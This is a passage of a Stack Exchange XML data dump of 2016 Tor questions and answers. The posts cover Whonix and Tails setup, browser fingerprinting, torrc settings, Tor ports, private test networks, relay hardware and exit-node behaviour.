rel=&quot;nofollow&quot;&gt;Whonix-based VMs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer to your question depends on your goal. Are you attempting to hide &lt;em&gt;just&lt;/em&gt; your external IP address, or other information as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your AppVM OS environment is uniquely fingerprintable (due to a unique set of installed packages, for example), and if it's the same as a clearnet VM (because they're both children of the same &lt;a href=&quot;https://www.qubes-os.org/doc/templates/&quot; rel=&quot;nofollow&quot;&gt;TemplateVM&lt;/a&gt;, for example), then an adversary might be able to correlate your identities even though one AppVM is connected to a Whonix-Gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why it's better (from a anti-fingerprintability standpoint) to run &lt;a href=&quot;https://www.whonix.org/wiki/Tor_Browser&quot; rel=&quot;nofollow&quot;&gt;Tor Browser rather than regular Firefox&lt;/a&gt;, and why it's even better to run Tor Browser in a Whonix-Workstation VM than in a regular (Fedora or Debian) AppVM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for some reason, those fingerprinting issues are not part of your threat model, then by all means, use regular Firefox. (I'd recommend creating a separate AppVM for this, so as not to contaminate your Whonix-Workstation.)&lt;/p&gt;&#xA;" OwnerUserId="3423" LastActivityDate="2016-04-17T09:53:59.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10194" PostTypeId="1" CreationDate="2016-04-17T13:11:41.167" Score="2" ViewCount="699" Body="&lt;p&gt;I get as present a used Surface 1 with Windows RT 8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possiblity to use Tor on a Windows RT Tablet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your Help&lt;/p&gt;&#xA;" OwnerUserId="12510" LastActivityDate="2016-04-17T16:09:04.537" Title="Tor with Windows RT" Tags="|windows|" AnswerCount="0" CommentCount="1" ClosedDate="2016-04-18T15:34:38.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="10195" PostTypeId="1" CreationDate="2016-04-17T14:09:48.707" Score="3" ViewCount="17210" Body="&lt;p&gt;So I was suggested to use Tails on a VirtualBox software. But as I was going thru the documentation, I saw this security limitation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Both the host operating system and the virtualization software are able to monitor what you are doing in Tails.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know what changes should be made to host machine(XP,Vista,Win7) and to the VirtualBox software so that the info cannot be traced.&lt;/p&gt;&#xA;" OwnerUserId="12418" LastActivityDate="2016-07-17T21:53:30.640" Title="Security implications of running tails in Virtual machine" Tags="|security|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10196" PostTypeId="1" CreationDate="2016-04-17T14:50:41.413" Score="-1" ViewCount="1547" Body="&lt;p&gt;I'm sorry in dub English.&#xA;I am a Japanese university students.&#xA;I decided to research Tor-browser graduation thesis.&#xA;In order to study, you must make the Tor-network to virtual.&#xA;In other words, when you access the site at the Tor-browser, all of the server to go through is that you want to reproduce in your own virtual machine.(VMwareplayer)&#xA;Could you tell me the most simple to make way Tor-network.&#xA;I do not have time.&#xA;Waiting for good reply.&lt;/p&gt;&#xA;" OwnerUserId="12511" LastActivityDate="2016-04-18T03:39:31.833" Title="How to make the &quot;Tor-network&quot;" Tags="|server|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ClosedDate="2016-04-18T15:31:33.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="10197" PostTypeId="1" CreationDate="2016-04-17T14:57:23.003" Score="2" ViewCount="2962" Body="&lt;p&gt;Long story short : I don't like the idea of adding bookmarks with Tor, but I accidentally created one by hitting the shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my knowledge and to prevent further mistakes like this one, where are located bookmarks on Tor, and how can I delete them permanently ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Windows, and I'm using the regular Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !&lt;/p&gt;&#xA;" OwnerUserId="12512" LastActivityDate="2017-02-11T22:16:20.213" Title="Deleting Tor bookmarks" Tags="|tor-browser-bundle|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10198" PostTypeId="2" ParentId="9729" CreationDate="2016-04-17T16:03:24.993" Score="0" Body="&lt;p&gt;You can safely use a Firefox + FoxyProxy in a separate VM. Remember, that VM in most of the virtualisation environments has a very handy feature - snapshoting! Use a snapshot that was made &lt;em&gt;before ever running a web browser&lt;/em&gt;, and revert a VM to this snapshot every time you're flushing your identity. Or if you know, that's an upgrade is available - you're upgrading &lt;em&gt;the snapshot itself&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-17T16:03:24.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10199" PostTypeId="2" ParentId="10197" CreationDate="2016-04-17T16:05:56.287" Score="1" Body="&lt;p&gt;Here is your answer &lt;a href=&quot;https://support.mozilla.org/en-US/questions/833585&quot; rel=&quot;nofollow&quot;&gt;from official forum&lt;/a&gt; - Tor Browser Bundle is a Firefox, tweaked a bit. So - the same file hierarchy preserved. Your case is &lt;code&gt;places.sqlite&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-17T16:05:56.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10202" PostTypeId="1" CreationDate="2016-04-17T17:23:28.107" Score="2" ViewCount="1222" Body="&lt;p&gt;I need a static IP address, so I decided to rent a vps. Is there a way to establish SSH tunnel passing first through tor so anonymize my ISP IP? I’m using Whonix OS.&lt;/p&gt;&#xA;" OwnerUserId="12515" LastEditorUserId="88" LastEditDate="2016-04-21T06:44:02.703" LastActivityDate="2018-11-28T18:06:51.483" Title="How can I connect to my vps through Tor?" Tags="|anonymity|whonix|ssh|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10203" PostTypeId="2" ParentId="10202" CreationDate="2016-04-17T19:41:49.477" Score="2" Body="&lt;p&gt;All traffic issues from within Whonix-Workstation will either be routed through Tor or not routed at all. It's the very core of what Whonix is good for.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2016-04-17T19:41:49.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10204" PostTypeId="1" CreationDate="2016-04-17T22:43:47.650" Score="2" ViewCount="372" Body="&lt;p&gt;Does anybody have an idea what wrong am I doing? So short, I've just launched TAILS OS and trying to connect to VPS over openSSH. With command &lt;code&gt;ssh -i /home/amnesia/Persistent/id_rsa root@11.11.11.11&lt;/code&gt; But after that Error message comes along.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FATAL: Failed to determine SOCKS server. &#xA;ssh_exchange_identification: Connection closed by remote host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Already tried to surf whole internet to find somebody with familiar issue, but no luck .. Any help would be very appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="12517" LastActivityDate="2016-04-17T22:43:47.650" Title="Error OpenSSH over TAILS" Tags="|tails|linux|debian|ssh|vps|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10205" PostTypeId="2" ParentId="10196" CreationDate="2016-04-18T03:39:31.833" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#PrivateTorNetwork&quot; rel=&quot;nofollow&quot;&gt;Tor Project: FAQ&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to experiment locally with your own network, or you're cut off from the Internet and want to be able to mess with Tor still, then you may want to set up your own separate Tor network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To set up your own Tor network, you need to run your own authoritative directory servers, and your clients and relays must be configured so they know about your directory servers rather than the default public ones.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apart from the somewhat tedious method of manually configuring a couple of directory authorities, relays and clients there are two separate tools that could help. One is Chutney, the other is Shadow.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Chutney is a tool for configuring, controlling and running tests on a testing Tor network. It requires that you have Tor and Python (2.5 or later) installed on your system. You can use Chutney to create a testing network by generating Tor configuration files (torrc) and necssary keys (for the directory authorities). Then you can let Chutney start your Tor authorities, relays and clients and wait for the network to bootstrap. Finally, you can have Chutney run tests on your network to see which things work and which do not. Chutney is typically used for running a testing network with about 10 instances of Tor. Every instance of Tor binds to one or two ports on localhost (127.0.0.1) and all Tor communication is done over the loopback interface. The Chutney README is a good starting point for getting it up and running.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Shadow is a network simulator that can run Tor through its Scallion plug-in. Although it's typically used for running load and performance tests on substantially larger Tor test networks than what's feasible with Chutney, it also makes for an excellent debugging tool since you can run completely deterministic experiments. A large Shadow network is on the size of thousands of instances of Tor, and you can run experiments out of the box using one of Shadow's several included scallion experiment configurations. Shadow can be run on any linux machine without root, and can also run on EC2 using a pre-configured image. Also, Shadow controls the time of the simulation with the effect that time-consuming tests can be done more efficiently than in an ordinary testing network. The Shadow wiki and Shadow website are good places to get started. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-04-18T03:39:31.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10206" PostTypeId="2" ParentId="10195" CreationDate="2016-04-18T03:43:25.833" Score="0" Body="&lt;p&gt;If you are using your own computer, it is probably safe. If you worry about backdoors, read the source code of linux, compile it, and use it.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-04-18T03:43:25.833" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10209" PostTypeId="1" CreationDate="2016-04-18T12:24:34.010" Score="1" ViewCount="1452" Body="&lt;p&gt;I have been using Tor on a limited basis for about a years or so.  Since the latest Tor upgrade to 5.5.4, however, I have been unable to perform image searches. I look for images that I can use with a couple of blogs I write, so I use the image search feature of the browser.  I input my search terms in the search box, and when the results page is displayed, I click on &quot;Images&quot; to browse the results.  When I click on an image, however, instead of taking me to the web site associated with the image, Tor produces a new, blank Google search page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="88" LastEditDate="2016-04-21T06:00:25.477" LastActivityDate="2016-04-21T06:00:25.477" Title="Unable to perform image searches" Tags="|tor-browser-bundle|troubleshooting|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10212" PostTypeId="2" ParentId="10165" CreationDate="2016-04-18T15:46:24.770" Score="1" Body="&lt;p&gt;In general this is not possible. This question was previously discussed at StackOverflow (see &lt;a href=&quot;https://stackoverflow.com/q/3385/391761&quot;&gt;MAC addresses in JavaScript&lt;/a&gt;). Only if you are able to use signed JavaScript it is possible to get more privileges than normal.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-18T15:46:24.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10216" PostTypeId="1" CreationDate="2016-04-18T21:32:25.253" Score="2" ViewCount="2077" Body="&lt;p&gt;I have successfully torified a program in terminal under Ubuntu, following &lt;a href=&quot;https://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&quot; rel=&quot;nofollow&quot;&gt;https://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this example we’ll keep all the standard configuration but 2&#xA;  things, in the file /etc/tor/torrc you should uncomment the directive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;And set&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CookieAuthentication 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;With these 2 options we set the port on which Tor will listen for&#xA;  local connections from Tor controller applications, and we tell to Tor&#xA;  that we don’t need an authentication, so any program can control Tor&#xA;  (don’t do this on a shared computer or server)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now I want to test if torify works for a web browser.&#xA;&lt;code&gt;torify firefox&lt;/code&gt; invokes firefox which shows my real external ip through ip lookup websites. &lt;code&gt;torify google-chrome&lt;/code&gt; doesn't invoke chrome browser at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do they not work? How can I make them work? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5117" LastActivityDate="2016-04-19T20:55:17.957" Title="How to torify a web browser?" Tags="|ubuntu|browsers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10219" PostTypeId="1" AcceptedAnswerId="10220" CreationDate="2016-04-19T10:36:07.227" Score="4" ViewCount="1392" Body="&lt;p&gt;I just noticed something weird when using the Tor Browser to access &lt;code&gt;google.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My entry node was located in France, and the exit node was located in the Netherlands, as can be seen in the image here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ZFf0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ZFf0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Google redirected me to &lt;code&gt;www.google.fr&lt;/code&gt;, aka the French site, which indicates to me, that it must know what the entry node was. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can that be? As far as I understood, or is relayed in other questions on this site, e.g. &lt;a href=&quot;https://security.stackexchange.com/questions/111686/tor-exit-node-can-know-my-ip-address&quot;&gt;here&lt;/a&gt;, Google should only know the exit node, right?&lt;/p&gt;&#xA;" OwnerDisplayName="Jens" LastActivityDate="2016-04-23T22:37:51.907" Title="Did Google discover my Tor Route?" Tags="|anonymity|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10220" PostTypeId="2" ParentId="10219" CreationDate="2016-04-19T11:46:31.810" Score="6" Body="&lt;p&gt;When you use Tor, the sites you connect to only sees the IP of the exit node and not your IP or any of the IPs of the previous nodes. This is in fact the very purpose of onion routing. If Google could see that your entry node was in France, Tor would be fundamentally broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The happy news is that it isn't. Google does not only rely on IP but uses a variety of &lt;a href=&quot;https://support.google.com/websearch/answer/179386?p=ws_settings_location&amp;amp;hl=en&amp;amp;rd=1&quot;&gt;ways to determine your location&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;How location is auto-detected&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;If you don't set your location, Google shows an approximate location based on the following things to help provide you with the most relevant results:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Your IP address.&lt;/li&gt;&#xA;  &lt;li&gt;Your Location History if you have it turned on. &lt;/li&gt;&#xA;  &lt;li&gt;Google Toolbar's My Location feature if it’s turned on.&lt;/li&gt;&#xA;  &lt;li&gt;Recent locations you’ve searched for.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That you got redirected to French google when using an entry node in France is just a coincidence. The last bullet point could explain why Tor users gets seemingly random locations. All users using the same exit node (and thus the same IP in Googles eyes) will be asumed to be in the same location by Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So probably someone had just googled for a nice bakery in Paris from the exit node you happend to be using.&lt;/p&gt;&#xA;" OwnerDisplayName="Anders" LastActivityDate="2016-04-19T13:01:44.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10221" PostTypeId="2" ParentId="9966" CreationDate="2016-04-19T15:12:58.980" Score="1" Body="&lt;p&gt;I just stumbled over a mailing list that exactly treated this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2010-August/000164.html&quot; rel=&quot;nofollow&quot;&gt;How to Run High Capacity Tor Relays&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12145" LastEditorUserId="12145" LastEditDate="2016-04-19T15:23:53.043" LastActivityDate="2016-04-19T15:23:53.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10223" PostTypeId="2" ParentId="733" CreationDate="2016-04-19T18:07:35.567" Score="6" Body="&lt;p&gt;Yes: edit the file:   &lt;code&gt;ThisPC\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&lt;/code&gt; or wherever you put Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the end put:    &lt;code&gt;ExitNodes {GB}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the last node will always be in the United Kindom, or put any other country code to exit from another country eg: &lt;code&gt;US&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12542" LastEditorUserId="88" LastEditDate="2016-04-21T06:41:25.907" LastActivityDate="2016-04-21T06:41:25.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10224" PostTypeId="2" ParentId="10219" CreationDate="2016-04-19T20:38:55.307" Score="2" Body="&lt;p&gt;GeoIP targeting is not 100% accurate, it's &lt;em&gt;pretty normal&lt;/em&gt; behaviour of any IP-to-geo location service.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-19T20:38:55.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10226" PostTypeId="2" ParentId="10216" CreationDate="2016-04-19T20:55:17.957" Score="3" Body="&lt;p&gt;This isn't really possible, and &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherBrowser&quot; rel=&quot;nofollow&quot;&gt;officially advised against&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole reason the Tor Browser was created was because of the difficulties in trying to make other browsers &quot;safe&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Design Document&lt;/a&gt;, specifically the section on &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#DesignRequirements&quot; rel=&quot;nofollow&quot;&gt;Design Requirements and Philosophy&lt;/a&gt; to understand the problems that have to be overcome when creating a Tor-compliant browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe there are further specific reasons as to why Chrome is a particularly bad candidate for Torification, as discussed in an official &lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;, and in &lt;a href=&quot;https://tor.stackexchange.com/questions/52/how-can-i-use-chrome-through-tor-on-os-x/55#55&quot;&gt;previous answers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line is: use the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-19T20:55:17.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10227" PostTypeId="1" CreationDate="2016-04-19T21:57:24.040" Score="2" ViewCount="886" Body="&lt;p&gt;I'm trying to install the Tor Browser for all users on a Linux system (installed via the standalone archive from torproject.org), and having issues - it seems that Tor Browser assumes it has write access to the directory that it's installed in, and tries saving caches there. This fails whenever any other user besides myself tries to run the browser because I've only given read/execute permissions to other users. Any ideas how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="12545" LastEditorUserId="88" LastEditDate="2016-04-21T06:39:13.327" LastActivityDate="2016-04-21T06:39:13.327" Title="Install Tor Browser for all users" Tags="|tor-browser-bundle|linux|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10229" PostTypeId="1" CreationDate="2016-04-20T01:25:07.787" Score="1" ViewCount="121" Body="&lt;p&gt;This is a very basic question, but I am very very new with proxies and Tor, I know very little about them which is kind of sad, and I'd really like to learn. My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What IP do I run Tor off of?&lt;/li&gt;&#xA;&lt;li&gt;What port does Tor run on?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sorry for being so noob at this..&lt;/p&gt;&#xA;" OwnerUserId="12549" LastActivityDate="2016-06-20T07:16:14.487" Title="What IP does Tor run off" Tags="|configuration|anonymity|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10234" PostTypeId="1" AcceptedAnswerId="12255" CreationDate="2016-04-20T20:09:52.810" Score="7" ViewCount="1181" Body="&lt;p&gt;In the purpose of setting up a Tor relay that makes good use of a fast FTTH connection, what computer will do the job most efficiently at the time of writing, provided the &lt;strong&gt;following requirements&lt;/strong&gt; are met?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;best &lt;strong&gt;bandwidth usage / power consumption&lt;/strong&gt; ratio&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;must&lt;/strong&gt; run Linux, any flavor of it but preferably GNU / free software (proprietary blobs &lt;em&gt;not&lt;/em&gt; encouraged)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;low&lt;/em&gt; budget, let's say less than 250 US dollars?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The real capacity of the Internet connection is not known, but possibly capped at more than 1 Gbit/s. Not all the bandwidth needs to be made use of, speed / power ratio takes precedence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single board computers (Odroid, Raspberry Pi...) seem to be the winners at first sight. However I would like to get answers based on the specifics of Tor reference implementation, which I have no clue about. Would it benefit more from higher CPU clock frequency? Multiple cores? Bigger RAM? &lt;strong&gt;What does Tor need the most?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to identify some of the basics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;cryptographic routines&lt;/strong&gt; need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fast CPU&lt;/li&gt;&#xA;&lt;li&gt;is Tor optimized for specific instruction set (NEON, SSE, AVX...)?&lt;/li&gt;&#xA;&lt;li&gt;is Tor optimized for several cores?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;connection management&lt;/strong&gt; need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gigabit link&lt;/li&gt;&#xA;&lt;li&gt;lots of memory (2GiB as a bare minimum?)&lt;/li&gt;&#xA;&lt;li&gt;big CPU cache&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12396" LastActivityDate="2020-09-27T14:30:16.230" Title="What is the most appropriate kind of hardware to run a Tor relay on?" Tags="|relays|bandwidth|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10235" PostTypeId="2" ParentId="10229" CreationDate="2016-04-21T00:17:24.633" Score="1" Body="&lt;p&gt;TOR runs (the service, not bundle) runs on localhost on port 9050 by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the IP would be &lt;code&gt;127.0.0.1&lt;/code&gt; and the port &lt;code&gt;9050&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12560" LastActivityDate="2016-04-21T00:17:24.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10237" PostTypeId="2" ParentId="10229" CreationDate="2016-04-21T06:18:16.130" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;What IP do I run Tor off of?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor runs on your localhost which usually means &lt;code&gt;127.0.0.1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;What port does Tor run on?&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The port depends on what variant of Tor you're using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The most common way is to use the Tor Browser Bundle. Tor is configured to use port &lt;code&gt;9150&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you're using Tor on a GNU/Linux box or have downloaded the Tor software as a standalone version, it will use port &lt;code&gt;9050&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Furthermore there is software like &lt;a href=&quot;https://ricochet.im/&quot; rel=&quot;nofollow&quot;&gt;Ricochet&lt;/a&gt;, which comes with a Tor binary. This Tor version might use another Tor port.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-04-21T06:18:16.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10238" PostTypeId="1" CreationDate="2016-04-21T07:29:47.813" Score="1" ViewCount="63" Body="&lt;p&gt;I have a few questions related to how bandwidth scanners work. I would appreciate it a lot if anyone could answer any one (or all) of them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;From what I read in the bandwidth scanners &lt;a href=&quot;https://github.com/tomrittervg/torflow/blob/master/NetworkScanners/BwAuthority/README.spec.txt&quot; rel=&quot;nofollow&quot;&gt;spec&lt;/a&gt;, my understanding is that nodes are first divided into subsets of fastest, fast, slow and slowest. Then each of the bandwidth scanners probe these subsets individually by creating 50-node slices, and creating a circuit using two nodes from each slice. I am confused about how relays are divided into 50-relay subsets. Are they spread out in percentiles according to their bandwidth just as the categorization of fastest, fast, slow and slowest criteria. And are these 50 relays chosen from the subset already assigned to the particular bandwidth scanner or they move across bandwidth scanners. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, I was wondering how directory authorities isolate the bandwidth of a single node using a two-hop circuit. Shouldn't the bandwidth measured using the two-hop circuit give an approximation for the entire circuit rather than the node?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the specs it seems that the bwauths have specific criteria for choosing nodes for these two-hop circuits (having Fast and Running flags, leaving out subsets with no exit nodes, /16 subnet different requirement). Is there ever a possibility that relays are left out? And some relays not measured at all. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10813" LastEditorUserId="9638" LastEditDate="2016-04-21T17:03:09.750" LastActivityDate="2016-04-21T17:03:09.750" Title="A few questions about how bandwidth scanners work" Tags="|relays|directory|bandwidth|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10239" PostTypeId="1" AcceptedAnswerId="10249" CreationDate="2016-04-21T13:51:51.957" Score="1" ViewCount="762" Body="&lt;p&gt;A normal tor chain is like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Client -&amp;gt; Tor Node -&amp;gt; Tor Node -&amp;gt; Tor Exit Node -&amp;gt; Server&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have this schema ( two chains ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Client -&amp;gt; Tor Node -&amp;gt; Tor Node -&amp;gt; Tor Exit Node (Sniffer) -&amp;gt; Tor Node -&amp;gt; Tor Node -&amp;gt; Tor Exit Node -&amp;gt; Server&lt;/code&gt; ? Could you explain why is it a yes or a no ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there is a Tor Exit Node List, but is it exhaustive ? Is each exit node verified to be a real exit node ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about exit nodes and not the chain length. Exit nodes see unecrypted data so it can send it to the server. Can an attacker who host the exit node at this step sniff the data, and not send it to the server directly but using a new tor chain in order to be totaly anonymous ?&lt;/p&gt;&#xA;" OwnerUserId="12566" LastEditorUserId="12566" LastEditDate="2016-04-22T08:53:38.460" LastActivityDate="2016-04-22T19:54:41.933" Title="Are all tor exit nodes known?" Tags="|protocol|encryption|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
